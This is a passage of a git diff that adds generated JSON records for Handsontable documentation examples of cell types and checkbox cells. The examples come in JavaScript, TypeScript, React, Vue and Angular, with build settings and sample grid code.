    underneath', 'type:text', 'type:numeric', 'type:checkbox', 'type:dropdown', 'type:password'],\n autoWrapRow: true,\n autoWrapCol: true,\n height: 'auto',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-types/cell-type/javascript/example2.ts","breadcrumb":["Cell Types","Cell type"],"guide":"guides/cell-types/cell-type/cell-type.md","guideTitle":"Cell type","exampleId":"example2","exampleTitle":"Empty cells","docPermalink":"/cell-type","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__cell-type__javascript__example3.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__cell-type__javascript__example3.js.json new file mode 100644 index 00000000..602c7922 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__cell-type__javascript__example3.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Types ▸ Cell type · Set different cell types in one column · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\nregisterAllModules();\n\nconst projectMembers = [\n ['Ana García', 'Product Manager'],\n ['James Okafor', 'Senior Engineer'],\n ['Li Wei', 'UX Designer'],\n];\n\nconst valueCellMeta = [\n { type: 'dropdown', source: ['Planning', 'In progress', 'Blocked'] },\n {\n type: 'numeric',\n locale: 'en-US',\n numericFormat: { style: 'currency', currency: 'USD', maximumFractionDigits: 0 },\n },\n { type: 'intl-date', locale: 'en-US', dateFormat: { year: 'numeric', month: 'short', day: 'numeric' } },\n { type: 'checkbox' },\n { type: 'text' },\n {\n type: 'handsontable',\n handsontable: {\n colHeaders: ['Name', 'Role'],\n autoColumnSize: true,\n data: projectMembers,\n getValue() {\n const selection = this.getSelectedLast();\n\n return this.getSourceDataAtCell(Math.max(selection?.[0] ?? 0, 0), 0);\n },\n },\n },\n { type: 'password' },\n];\n\nconst container = document.querySelector('#example3');\n\nnew Handsontable(container, {\n data: [\n ['Status', 'In progress'],\n ['Budget', 250000],\n ['Due date', '2026-09-30'],\n ['Approved', true],\n ['Project name', 'Website redesign'],\n ['Owner', 'Ana García'],\n ['Access code', 'release-2026'],\n ],\n colHeaders: ['Setting', 'Value'],\n columns: [{ readOnly: true }, {}],\n cells(row, col) {\n return col === 1 ? (valueCellMeta[row] ?? {}) : {};\n },\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-types/cell-type/javascript/example3.js","breadcrumb":["Cell Types","Cell type"],"guide":"guides/cell-types/cell-type/cell-type.md","guideTitle":"Cell type","exampleId":"example3","exampleTitle":"Set different cell types in one column","docPermalink":"/cell-type","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__cell-type__javascript__example3.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__cell-type__javascript__example3.ts.json new file mode 100644 index 00000000..2e2d448e --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__cell-type__javascript__example3.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Types ▸ Cell type · Set different cell types in one column · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport type { CellMeta } from 'handsontable/settings';\n\nregisterAllModules();\n\nconst projectMembers = [\n ['Ana García', 'Product Manager'],\n ['James Okafor', 'Senior Engineer'],\n ['Li Wei', 'UX Designer'],\n];\n\nconst valueCellMeta: CellMeta[] = [\n { type: 'dropdown', source: ['Planning', 'In progress', 'Blocked'] },\n {\n type: 'numeric',\n locale: 'en-US',\n numericFormat: { style: 'currency', currency: 'USD', maximumFractionDigits: 0 },\n },\n { type: 'intl-date', locale: 'en-US', dateFormat: { year: 'numeric', month: 'short', day: 'numeric' } },\n { type: 'checkbox' },\n { type: 'text' },\n {\n type: 'handsontable',\n handsontable: {\n colHeaders: ['Name', 'Role'],\n autoColumnSize: true,\n data: projectMembers,\n getValue() {\n const selection = this.getSelectedLast();\n\n return this.getSourceDataAtCell(Math.max(selection?.[0] ?? 0, 0), 0);\n },\n },\n },\n { type: 'password' },\n];\n\nconst container = document.querySelector('#example3')!;\n\nnew Handsontable(container, {\n data: [\n ['Status', 'In progress'],\n ['Budget', 250000],\n ['Due date', '2026-09-30'],\n ['Approved', true],\n ['Project name', 'Website redesign'],\n ['Owner', 'Ana García'],\n ['Access code', 'release-2026'],\n ],\n colHeaders: ['Setting', 'Value'],\n columns: [{ readOnly: true }, {}],\n cells(row, col) {\n return col === 1 ? (valueCellMeta[row] ?? {}) : {};\n },\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-types/cell-type/javascript/example3.ts","breadcrumb":["Cell Types","Cell type"],"guide":"guides/cell-types/cell-type/cell-type.md","guideTitle":"Cell type","exampleId":"example3","exampleTitle":"Set different cell types in one column","docPermalink":"/cell-type","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__cell-type__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__cell-type__react__example1.tsx.json new file mode 100644 index 00000000..41648225 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__cell-type__react__example1.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Types ▸ Cell type · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\nimport { textRenderer } from 'handsontable/renderers/textRenderer';\nimport { BaseRenderer } from 'handsontable/renderers';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const colors: string[] = ['yellow', 'red', 'orange', 'green', 'blue', 'gray', 'black', 'white'];\n\n const yellowRenderer: BaseRenderer = (instance, td, ...rest) => {\n textRenderer(instance, td, ...rest);\n td.style.backgroundColor = 'yellow';\n };\n\n const greenRenderer: BaseRenderer = (instance, td, ...rest) => {\n textRenderer(instance, td, ...rest);\n\n td.style.backgroundColor = 'green';\n };\n\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-types/cell-type/react/example1.tsx","breadcrumb":["Cell Types","Cell type"],"guide":"guides/cell-types/cell-type/cell-type.md","guideTitle":"Cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/cell-type","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__cell-type__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__cell-type__react__example2.tsx.json new file mode 100644 index 00000000..802ab001 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__cell-type__react__example2.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Types ▸ Cell type · Empty cells · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example2\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n underneath',\n 'type:text',\n 'type:numeric',\n 'type:checkbox',\n 'type:dropdown',\n 'type:password',\n ]}\n height=\"auto\"\n />\n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-types/cell-type/react/example2.tsx","breadcrumb":["Cell Types","Cell type"],"guide":"guides/cell-types/cell-type/cell-type.md","guideTitle":"Cell type","exampleId":"example2","exampleTitle":"Empty cells","docPermalink":"/cell-type","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__cell-type__react__example3.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__cell-type__react__example3.tsx.json new file mode 100644 index 00000000..61d2e471 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__cell-type__react__example3.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Types ▸ Cell type · Set different cell types in one column · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example3\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\nimport type { CellMeta } from 'handsontable/settings';\n\nregisterAllModules();\n\nconst projectMembers = [\n ['Ana García', 'Product Manager'],\n ['James Okafor', 'Senior Engineer'],\n ['Li Wei', 'UX Designer'],\n];\n\nconst valueCellMeta: CellMeta[] = [\n { type: 'dropdown', source: ['Planning', 'In progress', 'Blocked'] },\n {\n type: 'numeric',\n locale: 'en-US',\n numericFormat: { style: 'currency', currency: 'USD', maximumFractionDigits: 0 },\n },\n { type: 'intl-date', locale: 'en-US', dateFormat: { year: 'numeric', month: 'short', day: 'numeric' } },\n { type: 'checkbox' },\n { type: 'text' },\n {\n type: 'handsontable',\n handsontable: {\n colHeaders: ['Name', 'Role'],\n autoColumnSize: true,\n data: projectMembers,\n getValue() {\n const selection = this.getSelectedLast();\n\n return this.getSourceDataAtCell(Math.max(selection?.[0] ?? 0, 0), 0);\n },\n },\n },\n { type: 'password' },\n];\n\nconst data = [\n ['Status', 'In progress'],\n ['Budget', 250000],\n ['Due date', '2026-09-30'],\n ['Approved', true],\n ['Project name', 'Website redesign'],\n ['Owner', 'Ana García'],\n ['Access code', 'release-2026'],\n];\n\nconst ExampleComponent = () => (\n (col === 1 ? (valueCellMeta[row] ?? {}) : {})}\n height=\"auto\"\n autoWrapRow={true}\n autoWrapCol={true}\n licenseKey=\"non-commercial-and-evaluation\"\n />\n);\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-types/cell-type/react/example3.tsx","breadcrumb":["Cell Types","Cell type"],"guide":"guides/cell-types/cell-type/cell-type.md","guideTitle":"Cell type","exampleId":"example3","exampleTitle":"Set different cell types in one column","docPermalink":"/cell-type","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__cell-type__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__cell-type__vue__example1.vue.json new file mode 100644 index 00000000..d257de47 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__cell-type__vue__example1.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Types ▸ Cell type · Standard example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example1\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-types/cell-type/vue/example1.vue","breadcrumb":["Cell Types","Cell type"],"guide":"guides/cell-types/cell-type/cell-type.md","guideTitle":"Cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/cell-type","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__cell-type__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__cell-type__vue__example2.vue.json new file mode 100644 index 00000000..0a807880 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__cell-type__vue__example2.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Types ▸ Cell type · Empty cells · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example2\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-types/cell-type/vue/example2.vue","breadcrumb":["Cell Types","Cell type"],"guide":"guides/cell-types/cell-type/cell-type.md","guideTitle":"Cell type","exampleId":"example2","exampleTitle":"Empty cells","docPermalink":"/cell-type","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__cell-type__vue__example3.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__cell-type__vue__example3.vue.json new file mode 100644 index 00000000..10fbe8f1 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__cell-type__vue__example3.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Types ▸ Cell type · Set different cell types in one column · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example3\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-types/cell-type/vue/example3.vue","breadcrumb":["Cell Types","Cell type"],"guide":"guides/cell-types/cell-type/cell-type.md","guideTitle":"Cell type","exampleId":"example3","exampleTitle":"Set different cell types in one column","docPermalink":"/cell-type","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__checkbox-cell-type__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__checkbox-cell-type__angular__example1.ts.json new file mode 100644 index 00000000..3afb352e --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__checkbox-cell-type__angular__example1.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Types ▸ Checkbox cell type · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example1-checkbox-cell-type',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent {\n\n readonly data = [\n {\n car: 'Mercedes A 160',\n year: 2017,\n available: true,\n comesInBlack: 'yes',\n },\n {\n car: 'Citroen C4 Coupe',\n year: 2018,\n available: false,\n comesInBlack: 'yes',\n },\n {\n car: 'Audi A4 Avant',\n year: 2019,\n available: true,\n comesInBlack: 'no',\n },\n {\n car: 'Opel Astra',\n year: 2020,\n available: false,\n comesInBlack: 'yes',\n },\n {\n car: 'BMW 320i Coupe',\n year: 2021,\n available: false,\n comesInBlack: 'no',\n },\n ];\n\n readonly gridSettings: GridSettings = {\n colHeaders: ['Car model', 'Year of manufacture', 'Available'],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n columns: [\n {\n data: 'car',\n },\n {\n data: 'year',\n type: 'numeric',\n },\n {\n data: 'available',\n type: 'checkbox',\n },\n ]\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-types/checkbox-cell-type/angular/example1.ts","breadcrumb":["Cell Types","Checkbox cell type"],"guide":"guides/cell-types/checkbox-cell-type/checkbox-cell-type.md","guideTitle":"Checkbox cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/checkbox-cell-type","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__checkbox-cell-type__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__checkbox-cell-type__angular__example2.ts.json new file mode 100644 index 00000000..3d9bd0d9 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__checkbox-cell-type__angular__example2.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Types ▸ Checkbox cell type · Checkbox template · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n 